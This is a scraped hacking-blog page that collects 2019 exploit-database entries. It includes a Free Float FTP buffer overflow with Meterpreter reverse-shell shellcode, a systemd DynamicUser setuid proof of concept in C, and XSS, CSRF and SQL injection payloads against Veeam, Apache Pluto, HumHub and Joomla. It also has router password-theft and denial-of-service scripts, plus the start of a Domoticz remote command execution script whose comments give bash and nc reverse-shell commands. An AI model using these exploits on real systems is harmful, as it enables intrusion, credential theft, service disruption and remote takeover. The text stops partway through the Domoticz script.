Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863591927

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Free Float FTP 1.0 "STOR" Remote Buffer Overflow
# Google Dork: N/A
# Date: 4/26/2019
# Exploit Author: Kevin Randall
# Vendor Homepage:
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Version: Firmware: Free Float FTP 1.0
# Tested on: Windows XP Professional Service Pack 2
# CVE : N/A

#Generate Shellcode with MSFVenom
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP.OF.LOCAL.MACHINE LPORT=4444 -b '\x00\x0A\x0D' -f python
#Setup listener "use exploit/multi/handler" "set payload windows/meterpreter/reverse_tcp" "set LHOST IP.OF.LOCAL.MACHINE" "set LPORT 4444" "exploit"

#!/usr/bin/python

import socket
import sys

buf =  ""
buf += "\xba\x99\x2c\xb1\x7d\xdb\xd1\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x56\x31\x55\x13\x83\xed\xfc\x03\x55\x96\xce"
buf += "\x44\x81\x40\x8c\xa7\x7a\x90\xf1\x2e\x9f\xa1\x31\x54"
buf += "\xeb\x91\x81\x1e\xb9\x1d\x69\x72\x2a\x96\x1f\x5b\x5d"
buf += "\x1f\x95\xbd\x50\xa0\x86\xfe\xf3\x22\xd5\xd2\xd3\x1b"
buf += "\x16\x27\x15\x5c\x4b\xca\x47\x35\x07\x79\x78\x32\x5d"
buf += "\x42\xf3\x08\x73\xc2\xe0\xd8\x72\xe3\xb6\x53\x2d\x23"
buf += "\x38\xb0\x45\x6a\x22\xd5\x60\x24\xd9\x2d\x1e\xb7\x0b"
buf += "\x7c\xdf\x14\x72\xb1\x12\x64\xb2\x75\xcd\x13\xca\x86"
buf += "\x70\x24\x09\xf5\xae\xa1\x8a\x5d\x24\x11\x77\x5c\xe9"
buf += "\xc4\xfc\x52\x46\x82\x5b\x76\x59\x47\xd0\x82\xd2\x66"
buf += "\x37\x03\xa0\x4c\x93\x48\x72\xec\x82\x34\xd5\x11\xd4"
buf += "\x97\x8a\xb7\x9e\x35\xde\xc5\xfc\x51\x13\xe4\xfe\xa1"
buf += "\x3b\x7f\x8c\x93\xe4\x2b\x1a\x9f\x6d\xf2\xdd\x96\x7a"
buf += "\x05\x31\x10\xea\xfb\xb2\x60\x22\x38\xe6\x30\x5c\xe9"
buf += "\x87\xdb\x9c\x16\x52\x71\x97\x80\x9d\x2d\xa7\x52\x76"
buf += "\x2f\xa8\x43\xda\xa6\x4e\x33\xb2\xe8\xde\xf4\x62\x48"
buf += "\x8f\x9c\x68\x47\xf0\xbd\x92\x82\x99\x54\x7d\x7a\xf1"
buf += "\xc0\xe4\x27\x89\x71\xe8\xf2\xf7\xb2\x62\xf6\x08\x7c"
buf += "\x83\x73\x1b\x69\xf4\x7b\xe3\x6a\x91\x7b\x89\x6e\x33"
buf += "\x2c\x25\x6d\x62\x1a\xea\x8e\x41\x19\xed\x71\x14\x2b"
buf += "\x85\x44\x82\x13\xf1\xa8\x42\x93\x01\xff\x08\x93\x69"
buf += "\xa7\x68\xc0\x8c\xa8\xa4\x75\x1d\x3d\x47\x2f\xf1\x96"
buf += "\x2f\xcd\x2c\xd0\xef\x2e\x1b\x62\xf7\xd0\xd9\x4d\x50"
buf += "\xb8\x21\xce\x60\x38\x48\xce\x30\x50\x87\xe1\xbf\x90"
buf += "\x68\x28\xe8\xb8\xe3\xbd\x5a\x59\xf3\x97\x3b\xc7\xf4"
buf += "\x14\xe0\xf8\x8f\x55\x17\xf9\x6f\x7c\x7c\xfa\x6f\x80"
buf += "\x82\xc7\xb9\xb9\xf0\x06\x7a\xfe\x0b\x3d\xdf\x57\x86"
buf += "\x3d\x73\xa7\x83"


shellcode = '\x90'*20 + buf
payload = "A"*247+"\xF6\xC1\xB3\x7C"+ shellcode +"C"*(749-len(shellcode))

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
##Add FTP Server IP Here###############
connect = s.connect(('192.168.0.9',21))
#######################################

s.recv(1024)
s.send('USER anonymous\r\n')

s.recv(1024)
s.send('PASS anonymous\r\n')

s.recv(1024)
s.send('STOR' + payload + '\r\n')

s.recv(1024)
s.send('QUIT\r\n')

s.close()
            
This bug report describes a bug in systemd that allows a service with
DynamicUser in collaboration with another service or user to create a setuid
binary that can be used to access its UID beyond the lifetime of the service.
This bug probably has relatively low severity, given that there aren't many
services yet that use DynamicUser, and the requirement of collaboration with
another process limits the circumstances in which it would be useful to an
attacker further; but in a system that makes heavy use of DynamicUser, it would
probably have impact.

<https://www.freedesktop.org/software/systemd/man/systemd.exec.html#DynamicUser=>
says:

    In order to allow the service to write to certain directories, they have to
    be whitelisted using ReadWritePaths=, but care must be taken so that UID/GID
    recycling doesn't create security issues involving files created by the
    service.

While I was chatting about DynamicUser with catern on IRC, I noticed that
DynamicUser doesn't isolate the service from the rest of the system in terms of
UNIX domain sockets; therefore, if a collaborating user passes a file descriptor
to a world-writable path outside the service's mount namespace into the
service, the service can then create setuid files that can be used by the
collaborating user beyond the lifetime of the service.


To reproduce:

As a user:
======================================================================
user@deb10:~$ mkdir systemd_uidleak
user@deb10:~$ cd systemd_uidleak
user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  setbuf(stdout, NULL);

  // prepare unix domain socket
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to bind abstract socket");
  puts("waiting for connection from outside the service...");

  // receive fd to somewhere under the real root
  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (recvmsg(s, &msg, 0) < 0) err(1, "unable to receive fd");
  if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
      || hdr->cmsg_type != SCM_RIGHTS)
    errx(1, "got bad message");
  puts("got rootfd from other chroot...");
  if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real root");
  char curpath[4096];
  if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
  printf("chdir successful, am now in %s\n", curpath);

  // create suid file
  int src_fd = open("suid_src", O_RDONLY);
  if (src_fd == -1) err(1, "open suid_src");
  int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (dst_fd == -1) err(1, "open suid_dst");

  while (1) {
    char buf[1000];
    ssize_t res = read(src_fd, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) break;
    ssize_t res2 = write(dst_fd, buf, res);
    if (res2 != res) err(1, "write");
  }

  if (fchmod(dst_fd, 04755)) err(1, "fchmod");
  close(src_fd);
  close(dst_fd);

  // and that's it!
  puts("done!");
  while (1) pause();
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  int rootfd = open(".", O_PATH);
  if (rootfd < 0) err(1, "unable to open cwdfd");
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to connect to abstract socket");
  puts("connected to other chroot, sending cwdfd...");

  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  *hdr = (struct cmsghdr) {
    .cmsg_len = len,
    .cmsg_level = SOL_SOCKET,
    .cmsg_type = SCM_RIGHTS
  };
  *(int*)CMSG_DATA(hdr) = rootfd;
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (sendmsg(s, &msg, 0) < 0) err(1, "unable to send fd");
  puts("all ok on this side!");
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_helper breakout_helper.c 
user@deb10:~/systemd_uidleak$ cp /usr/bin/id suid_src
user@deb10:~/systemd_uidleak$ chmod 0777 .
user@deb10:~/systemd_uidleak$ ls -la .
total 100
drwxrwxrwx  2 user user  4096 Feb  4 21:22 .
drwxr-xr-x 23 user user  4096 Feb  4 21:19 ..
-rwxr-xr-x  1 user user 17432 Feb  4 21:20 breakout_assisted
-rw-r--r--  1 user user  1932 Feb  4 21:20 breakout_assisted.c
-rwxr-xr-x  1 user user 16872 Feb  4 21:22 breakout_helper
-rw-r--r--  1 user user  1074 Feb  4 21:22 breakout_helper.c
-rwxr-xr-x  1 user user 43808 Feb  4 21:22 suid_src
user@deb10:~/systemd_uidleak$ 
======================================================================

Then, as root, create and launch a service around breakout_assisted:
======================================================================
root@deb10:/home/user# cat > /etc/systemd/system/dynamic-user-test.service
[Service]
ExecStart=/home/user/systemd_uidleak/breakout_assisted
DynamicUser=yes
root@deb10:/home/user# systemctl daemon-reload
root@deb10:/home/user# systemctl start dynamic-user-test.service
root@deb10:/home/user# systemctl status dynamic-user-test.service
[...]
Feb 04 21:27:29 deb10 systemd[1]: Started dynamic-user-test.service.
Feb 04 21:27:29 deb10 breakout_assisted[3155]: waiting for connection from outside the service...
root@deb10:/home/user# 
======================================================================

Now again as a user, run the breakout_helper:
======================================================================
user@deb10:~/systemd_uidleak$ ./breakout_helper 
connected to other chroot, sending cwdfd...
all ok on this side!
user@deb10:~/systemd_uidleak$ ls -la
total 144
drwxrwxrwx  2 user  user   4096 Feb  4 21:28 .
drwxr-xr-x 23 user  user   4096 Feb  4 21:19 ..
-rwxr-xr-x  1 user  user  17432 Feb  4 21:20 breakout_assisted
-rw-r--r--  1 user  user   1932 Feb  4 21:20 breakout_assisted.c
-rwxr-xr-x  1 user  user  16872 Feb  4 21:22 breakout_helper
-rw-r--r--  1 user  user   1074 Feb  4 21:22 breakout_helper.c
-rwsr-xr-x  1 64642 64642 43808 Feb  4 21:28 suid_dst
-rwxr-xr-x  1 user  user  43808 Feb  4 21:22 suid_src
user@deb10:~/systemd_uidleak$ ./suid_dst 
uid=1000(user) gid=1000(user) euid=64642 groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner)
user@deb10:~/systemd_uidleak$ 
======================================================================


On fixing this:

catern suggested that it might be more robust to use seccomp() to block
chmod()/fchmod() calls with modes that include setuid/setgid bits, like the
Nix build process. See
<https://nixos.org/releases/nix/nix-2.1.3/manual/#ssec-relnotes-1.11.10>:

> To prevent this issue, Nix now disallows builders to create setuid and setgid
> binaries. On Linux, this is done using a seccomp BPF filter.

This seems like the least intrusive fix to me. As far as I can tell, it should
be sufficient to prevent the creation of setuid binaries that are reachable
beyond the death of the service. Unfortunately, for setgid files, the following
trick also needs to be mitigated, assuming that the distribution hasn't blocked
the unprivileged creation of user namespaces:

======================================================================
user@deb10:~/systemd_uidleak_gid$ cat map_setter.c
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void write_file(char *type, int pid, char *buf) {
  char file_path[100];
  sprintf(file_path, "/proc/%d/%s", pid, type);
  int fd = open(file_path, O_WRONLY);
  if (fd == -1) err(1, "open %s", file_path);
  if (write(fd, buf, strlen(buf)) != strlen(buf))
    err(1, "write %s", type);
  close(fd);
}

static void write_map(char *type, int pid, int upper, int lower) {
  char buf[100];
  sprintf(buf, "%d %d 1", upper, lower);
  write_file(type, pid, buf);
}

int main(void) {
  FILE *pid_file = fopen("/home/user/systemd_uidleak_gid/pid_file", "r");
  if (pid_file == NULL) err(1, "open pid_file");
  int pid;
  if (fscanf(pid_file, "%d", &pid) != 1) err(1, "fscanf");

  write_file("setgroups", pid, "deny");
  write_map("gid_map", pid, 0, getgid());
  write_map("uid_map", pid, 0, geteuid());
  puts("done");
  while (1) pause();
  return 0;
}
user@deb10:~/systemd_uidleak_gid$ cat sgid_maker.c
#define _GNU_SOURCE
#include <sched.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
int main(void) {
  if (unshare(CLONE_NEWUSER)) err(1, "unshare CLONE_NEWUSER");
  pid_t my_pid = getpid();
  char my_pid_str[20];
  sprintf(my_pid_str, "%d\n", (int)my_pid);
  int pid_file = open("pid_file", O_WRONLY|O_CREAT|O_TRUNC, 0644);
  if (pid_file == -1) err(1, "create pid_file");
  if (write(pid_file, my_pid_str, strlen(my_pid_str)) != strlen(my_pid_str)) err(1, "write pid_file");
  close(pid_file);
  puts("pid file written, waiting for mappings...");
  while (1) {
    if (getuid() == 0) break;
    sleep(1);
  }
  puts("mappings are up!");
  if (setgid(0)) err(1, "setgid");

  // create sgid file
  int src_fd = open("sgid_src", O_RDONLY);
  if (src_fd == -1) err(1, "open sgid_src");
  int dst_fd = open("sgid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (dst_fd == -1) err(1, "open sgid_dst");
  while (1) {
    char buf[1000];
    ssize_t res = read(src_fd, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) break;
    ssize_t res2 = write(dst_fd, buf, res);
    if (res2 != res) err(1, "write");
  }
  if (fchmod(dst_fd, 02755)) err(1, "fchmod");
  close(src_fd);
  close(dst_fd);
}
user@deb10:~/systemd_uidleak_gid$ cp /usr/bin/id sgid_src
user@deb10:~/systemd_uidleak_gid$ gcc -o map_setter map_setter.c && gcc -o sgid_maker sgid_maker.c && chmod u+s map_setter && ./sgid_maker 
pid file written, waiting for mappings...
[#####  at this point, launch ~/systemd_uidleak_gid/map_setter in a systemd service  #####]
mappings are up!
user@deb10:~/systemd_uidleak_gid$ ls -l sgid_dst
-rwxr-sr-x 1 user 64642 43808 Feb  4 23:13 sgid_dst
user@deb10:~/systemd_uidleak_gid$ ./sgid_dst
uid=1000(user) gid=1000(user) egid=64642 groups=64642,24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),1000(user)
user@deb10:~/systemd_uidleak_gid$ 
======================================================================

I think the least intrusive way to mitigate this part might be to enforce
NoNewPrivileges=yes for services with dynamic IDs - that way, someone inside
such a service can't become capable over anything outside, and someone outside
the service can't become capable over anything inside the service.
(And really, in general, it would be nice if NoNewPrivileges=yes could become
the norm at some point.)
            
Exploit Title: Stored XSS
# Date: 25-04-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://portals.apache.org/pluto
# Software Link: https://portals.apache.org/pluto/download.html
# Version: 3.0.0, 3.0.1
# Tested on: Ubuntu 16.04 LTS
# CVE: CVE-2019-0186
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-0186
# https://portals.apache.org/pluto/security.html
# https://www.inputzero.io/2019/04/apache-pluto-xss.html

Summary:
The "Chat Room" portlet demo that ships with the Apache Pluto Tomcat bundle
contains a Cross-Site Scripting (XSS) vulnerability. Specifically, if an
attacker can input raw HTML markup into the "Name" or "Message" input
fields and submits the form, then the inputted HTML markup will be embedded
in the subsequent web page.

Technical observation:
- Start the Apache Pluto Tomcat bundle
- Visit http://localhost:8080/pluto/portal/Chat%20Room%20Demo
- In the name field, enter:
     <input type="text" value="Name field XSS></input>
- Click Submit
- In the message field, enter:
     <input type="text" value="Message field XSS></input>

Patch:
3.0.x users should upgrade to 3.1.0
            
#/bin/bash

#   PoC based on CVE-2016-5649 created by Social Engineering Neo.
#
#   Long Method: https://www.youtube.com/watch?v=f3awG0XPKAs
#
#   https://www.shodan.io/search?query=DGN2200  = 2,325 possible vulnerable devices.
#   https://www.shodan.io/search?query=DGND3700 = 555 possible vulnerable devices.
#
#   A vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication.
#   When the request is processed, it exposes the administrator password in clear text before getting redirected to 'absw_vfysucc.cgia'.
#   An attacker can use this password to gain administrator access of the targeted routers web interface.
#
#   Netgear has released firmware version 1.0.0.52 for DGN2200 & 1.0.0.28 for DGND3700 to address this issue.

clear
read -p "Enter Target Address Followed by Port: " target port   # localhost 8080

if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then
    grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' $target:$port/BSW_cxttongr.htm)
    pass=$(echo $grab | awk '{print $218}' | tail -c +2 | head -c -3)
    if [ "$pass" == '' ] || [ "$pass" == '/html' ] ; then
        echo Invalid Response, Target May Not be Vulnerable.
    else
        echo The Password for: $target is: $pass
    fi
else
    echo "Incorrect Port."
fi
            
#/bin/bash

#   PoC based on CVE-2019-11415 created by Social Engineering Neo.
#
#   Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-any-version-dos-on-malformed-login-request/
#
#   A malformed login request allows remote attackers to cause a denial of service (reboot), as demonstrated by JSON misparsing of the \""} string to v1/system/login.
#
#   Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.

clear
read -p "Enter Target Address Followed by Port: " target port   # localhost 8080

alive=$(ping -c 1 $target | grep icmp* | wc -l)
if [ "$alive" -eq 0 ]; then
    echo Target May be Offline or Blocking ICMP requests.
    read -p "Would you Like to Proceed? (Y/n): " ans
    if [ "$ans" = 'n' ] || [ "$ans" = 'N' ]; then
        clear
        exit
    fi
fi

if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then
    grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' --compressed --data-binary '\""}' $target:$port/v1/system/login)
else
    echo "Incorrect Port."
fi

clear
alive=$(ping -c 1 $target | grep icmp* | wc -l)
if [ "$alive" -eq 0 ]; then
    echo Router Successfully Taken Offline.     #NOTE: if router blocks ICMP requests this may be inaccurate.
else
    echo Exploit Unsuccessfull, Target May Not be Vulnerable.
fi
            
# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Add/Edit Widget)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:

Path: /CommonDataHandlerReadOnly.ashx 

method: setDashboardWidget

SET Caption field to “AAAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>”
            
# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Stored XSS)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:

Path: /CommonDataHandlerReadOnly.ashx 

method: addDashboard / editDashboard

SET Description(config) field to “AAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>”
            
# Exploit Title: Veeam ONE Reporter - Cross-Site Request Forgery (All Actions/Methods)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:
<form id='del' method='POST' action='https://[target_URL]:1239/CommonDataHandlerReadOnly.ashx'>
  <input name='f'  id='dd'>
</form>

<script>
document.getElementById("dd").value= JSON.stringify({
            id: '1',
            method: 'deleteDashboard',
            params:{ 'id' : 21}
          });
	  
 document.getElementById("del").submit(); 
</script>


##########################################
#all methods is vulnerable
##########################################
#addDashboard(p)
#addDashboardUser(par)
#addDashboardUserList(par)
#applySchedulingForDashboard(dashboardId, taskId, config)
#applySchedulingForFolder(folderId, taskId, config)
#applySchedulingForReport(reportId, taskId, vmr, config)
#canModifyDashboard(id)
#captureContainer(data, taskId)
#changeObjectVisibility(objectId, visible)
#checkForUpdateReportPack(confirm)
#checkIfAdmin()
#checkUserPermissionsResolved(o)
#checkWinVersion()
#clearContainer()
#connectToSqlServer(data, save)
#DBExecuteProcedure(db)
#DBStoreLoad(db)
#DBStoreSave(db)
#deleteDashboard(id)
#deleteDashboardImage(imageId)
#deleteDashboardWidget(p)
#DeleteFolder(param)
#deleteReportPack(name, id, type)
#deleteTask(id)
#doLogin(domain, login, password)
#editDashboard(p)
#emptyDashboardRecycleBin(o)
#findDashboardUsers(p)
#getAboutData()
#getActionParameters()
#getAdvancedData()
#getAlarms()
#getAllSchedulingsForDashboard(info)
#getAllSchedulingsForFolder(info)
#getAllSchedulingsForReport(info)
#getBackUpTree(wsj)
#getBusinessViewTree(wsj)
#getComboData()
#getCommonGridItem()
#getConfiguration()
#getConfigurationOverview(id)
#getConnectedServersGridItem()
#getDashboardData(dashboard_id)
#getDashboardImages(p)
#getDashboardPermissions(p)
#getDashboardPredefiniedReports(p)
#getDashboards(p)
#getDashboardSSRSChartTypes(p)
#getDashboardUserList(p)
#getDashboardWidgetTypeData(p)
#getDefaultUserName()
#getDeletedDashboards(p)
#getEnumeratingTaskContainers(id)
#getEnumeratingTaskProperties(id)
#getEnumeratingTaskScheduling(id)
#getExtensionModules(p)
#getIgnoredDatastores(p)
#getIgnoredDatastoresDetails(p)
#getInfrastructureTree(wsj)
#getIsReporterFreeVersion()
#getJobData(id)
#getLicenseData()
#getLicensedHVSockets(p)
#getLicensedVMSockets(p)
#getMetadata(query, reload)
#getNeedToDisableTabs()
#getNotificationData()
#getObjectsToHide(p)
#getOptionList()
#getReportFilters(param)
#getReportImageName()
#getReportListTreeCheckbox(wsj)
#getReportListTreeDashboard(wsj)
#getReportListTreeWorkspace(wsj)
#getReportManagementTree(wsj)
#getReportsSectionsTree(wsj)
#getReportStatistics(param)
#getScheduleDashboardConfig(dashboardId, taskId)
#getScheduleFolderConfig(folderId, taskId)
#getScheduleReportConfig(reportId, taskId, packType)
#getScriptArgumentList()
#getServerScopeAll(wsj)
#getSessionDetails(idwithtype)
#getSessions(p)
#getSessionsTaskTypes(p)
#getSiteStatusGridItem()
#getSmtpServerData()
#getSqlServerData()
#getSsrsServerData()
#getSSRSStatus()
#getStartStopDeleteButtonsEnabled(id)
#getStatistics()
#getTaskList(p)
#getUpdateSessionInfo(o)
#getvCloudList(p)
#getVideoReportData(interval, intervalPeriod, scope)
#getVmStatus()
#getWidgetCustomChartConstructorData(p)
#getWidgetData(r)
#getWidgetList(item)
#getWidgetPackList(j)
#getWidgetParams(uid)
#getWorkspace()
#getWorkspaceReportGridItems(param)
#isSmtpConfigured()
#publishDashboard(id, publish)
#recalculateProjects(ids)
#removeDashboardUser(par)
#resetReportImageName()
#resetSchedulingForDashboard(dashboardId, taskId)
#resetSchedulingForDashboardArray(dashboardId, taskId)
#resetSchedulingForFolder(folderId)
#resetSchedulingForReport(reportId, vmr)
#resetSchedulingTaskForFolder(folderId, taskId)
#resetSchedulingTaskForReport(reportId, taskId, vmr)
#resetSchedulingTasksForFolderArray(folderId, taskId)
#resetSchedulingTasksForReportArray(reportId, taskId, vmr)
#restoreDashboard(p)
#revokeHost(hostName)
#revokeHostHV(hostName)
#SaveFolder(param)
#saveIgnoredDatastores(taskContainerId, dataStores)
#saveSchedulingInfo(taskId, taskProp)
#saveTask(taskProp, taskContainers, excludes)
#sendNotificationAboutDashboardSharing(to, subject, dashboardName, dashboardUrl, permissionLevel)
#sendTestMessage(data, setting)
#setAdvancedData(measure)
#setComboData(data)
#setDashboardUserPermissions(par)
#setDashboardWidget(p)
#SetDragAndDropPosition(dwid, colIndex, position, height)
#setSchedulingEnability(dashboardId, taskId, disabled)
#setSchedulingEnabilityArray(dashboardId, taskId, disabled)
#setSchedulingEnabilityForFolder(folderId, taskId, disabled)
#setSchedulingEnabilityForFolderArray(folderId, taskId, disabled)
#setSchedulingEnabilityForReport(reportId, taskId, disabled)
#setSchedulingEnabilityForReportArray(reportId, taskId, disabled)
#setSmtpServerData(data)
#setSsrsServerData(data)
#startTask(id)
#stopTask(id)
#system.about()
#    Returns a summary about the server implementation for display purposes.
#system.listMethods()
#    Returns an array of method names implemented by this service.
#system.version()
#    Returns the version server implementation using the major, minor, build and revision format.
#testServer(tcd)
#testSsrsConnection(data)
#updateDashboardPosition(p)
#updateTreeExpandedStates(wsj, a)
#validateTaskName(tcd, id)
##########################################
            
# Exploit Title: HumHub 1.3.12 - Cross-Site Scripting
# Exploit Author: Kağan EĞLENCE
# Vendor Homepage: https://humhub.org/
# Version: 1.3.12
# CVE : CVE-2019-11564


Url : http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Vulnerable File :
/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Request Type: POST


#Request Example:
=============

    POST /humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/73.0.3683.83 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 64
    Connection: close
    Cookie: xxxx
    Upgrade-Insecure-Requests: 1

    %3Cscript%3Ealert%28%22Vulnerable%22%29%3C%2Fscript%3E=undefined

### History
=============
2019-4-10  Issue discovered
2019-4-10  Vendor contacted
2019-4-10  Vendor response and hotfix
2019-4-27  Advisory release
            
<!--
    PoC based on CVE-2019-11416 created by Social Engineering Neo.

    Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-1-5-0-csrf-lead-to-router-takeover/

    Due to inexistent authorization on router API on authenticated IP addresses, an attacker can use this weak spot to change router configurations and take the current administrator password.

    Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.
-->

<!DOCTYPE html>
<html lang="en">
    <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <meta http-equiv="X-UA-Compatible" content="ie=edge">
            <title>IWR 3000N - CSRF on authenticated administrator</title>
    </head>
    <body>
        <button onclick="exploit()">Exploit!</button>
        <p>Click the button to get the login and password.</p>
        <script>
            function exploit(){
                $.get( "http://localhost:80/v1/system/user" )
                .done(( data ) => {
                    alert( data );
                })
                .fail(function( err, status) {
                    alert( status );
                });
            }
        </script>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </body>
</html>
            
# Exploit Title: Joomla! Component ARI Quiz 3.7.4 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: April 27, 2019
# Vendor Homepage: http://www.ari-soft.com
# Software Link : https://extensions.joomla.org/extensions/extension/living/education-a-culture/ari-quiz/
# Tested Version: 3.7.4
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/[PATH]/index.php?option=com_ariquiz&view=category&categoryId=SQLi&Itemid=236
# http://localhost/[PATH]/index.php?option=com_ariquiz&view=category&categoryId=6%27and%200%20union%20select%201,2,3--%20-&Itemid=236
            
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# Exploit Title: Unauthenticated Remote Command Execution on Domoticz <= 4.10577
# Date: April 2019
# Exploit Author: Fabio Carretto @ Certimeter Group
# Vendor Homepage: https://www.domoticz.com/
# Software Link: https://www.domoticz.com/downloads/
# Version: Domoticz <= 4.10577
# Tested on: Debian 9
# CVE: CVE-2019-10664, CVE-2019-10678
# ====================================================================
# Bypass authentication, inject commands and execute them
# Required login page or no authentication (doesn't work with "Basic-Auth" setting)
# There are 3 injection modes. The 1st and the 2nd bypass the char filter:
# 1.Default mode insert the commands in a script and reply with it once to
#   an HTTP request. Set address and port of the attacker host with -H and -P
# 2.(-zipcmd) a zip icon pack will be uploaded. The domoticz installation path
#   can be optionally specified with -path /opt/domoti..
# 3.(-direct) commands executed directly. Characters like & pipe or redirection
#   cannot be used. The execution may block domoticz web server until the end
# Examples:
# ./exploit.py -H 172.17.0.1 -P 2222 http://172.17.0.2:8080/ 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1 &'
# ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &'

import argparse
import requests
import urllib
import base64
import json
import BaseHTTPServer
import zipfile
import thread

# Retrieve data from db with the SQL Injection on the public route
def steal_dbdata(field):
    sqlinj = sqlpref % field
    urltmp = url_sqlinj + sqlinj
    r = session.get(urltmp)
    print '[+] %s: %s' % (field,r.text)
    return r.text

# Login and return the SID cookie
def dologin(username, password):
    url_login_cred = url_login % (username, password)
    r = session.get(url_login_cred)
    sid = r.headers['Set-Cookie']
    sid = sid[sid.find('SID=')+4 : sid.find(';')]
    print '[+] SID=' + sid
    return sid

# Search an uvc cam. If exists return its json config
def get_uvc_cam():
